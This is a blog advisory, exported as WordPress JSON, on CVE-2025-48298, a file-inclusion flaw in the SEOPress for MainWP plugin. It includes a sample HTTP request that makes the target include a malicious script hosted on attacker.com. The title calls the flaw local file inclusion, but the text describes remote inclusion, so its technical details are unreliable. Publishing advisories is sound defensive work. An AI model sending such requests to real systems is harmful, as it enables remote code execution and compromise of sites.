{"id":86825,"date":"2026-04-01T01:02:53","date_gmt":"2026-04-01T01:02:53","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-48298-php-local-file-inclusion-vulnerability-in-benjamin-denis-seopress-for-mainwp","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-48298-php-local-file-inclusion-vulnerability-in-benjamin-denis-seopress-for-mainwp\/","title":{"rendered":"<strong>CVE-2025-48298: PHP Local File Inclusion Vulnerability in Benjamin Denis SEOPress for MainWP<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The vulnerability CVE-2025-48298 is a significant security oversight in the SEOPress for MainWP plugin, developed by Benjamin Denis. Specifically, it involves an improper control of the filename for include\/require statement in PHP, also known as &#8216;PHP Remote File Inclusion&#8217;. This vulnerability could potentially lead to severe system compromise or data leakage, impacting the privacy and security of users.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-48298<br \/>\nSeverity: High (7.5)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: Potential system compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-766154435\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Benjamin Denis SEOPress for MainWP | Up to and including 1.4<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability stems from the improper control of filenames for include\/require statements in PHP programs. An attacker can abuse this oversight by tricking the system into including a file from a remote server that contains malicious code. This code is then executed in the context of the application, potentially leading to unauthorized access, data leakage, or even a system compromise.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1310326027\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/include.php?file=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In the above example, an attacker could use a URL parameter to inject a path to a malicious script hosted on their server. When the &#8216;include.php&#8217; file is processed by the server, it includes the content of the malicious script and executes it, leading to potential system compromise.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>To mitigate this vulnerability, users are advised to apply the latest patch provided by the vendor. In the absence of a patch, users can employ a web application firewall (WAF) or intrusion detection system (IDS) as a temporary solution. However, these are not long-term solutions and may not completely protect against the exploit. As a best practice, regular updating of software should be maintained to protect against known vulnerabilities.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The vulnerability CVE-2025-48298 is a significant security oversight in the SEOPress for MainWP plugin, developed by Benjamin Denis. Specifically, it involves an improper control of the filename for include\/require statement in PHP, also known as &#8216;PHP Remote File Inclusion&#8217;. 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